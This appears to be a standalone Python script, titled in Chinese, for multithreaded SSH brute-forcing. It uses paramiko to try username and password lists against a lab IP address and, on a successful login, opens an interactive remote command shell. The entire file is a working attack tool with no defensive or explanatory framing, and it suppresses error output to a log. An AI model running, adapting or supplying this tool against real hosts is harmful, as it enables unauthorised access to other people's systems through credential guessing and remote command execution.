python3 多线程ssh弱口令爆破并执行shell命令
import paramiko
import sys
import threading
__stderr__ = sys.stderr
sys.stderr=open('error.log','a')
ip='192.168.85.128'
m=1
n=0
def ssh(se,ip,username,password):
try:
global m,n
se.acquire()
client=paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(hostname=ip,port=22,username=str(username),password=str(password),timeout=10)
print("\n成功!!!\nusername:",username,"\npassword:",password)
while 1:
print()
cmd=input("shell>")
stdin,stdout,stderr=client.exec_command(cmd)
print(stdout.read().decode('utf-8'))
return
except BaseException:
se.release()
def duo(ip):
f=open("user.txt","r").readlines()
g=open("pass1.txt","r").readlines()
global m,n
semaphore=threading.Semaphore(10)
for i in f:
username=i.strip()
for j in g:
password=j.strip()
n=n+1
print("\r"+"字典进度为:",n,"waiting....",end="",flush=True)
t=threading.Thread(target=ssh,args=(semaphore,ip,username,password))
t.start()
if __name__=='__main__':
duo(ip)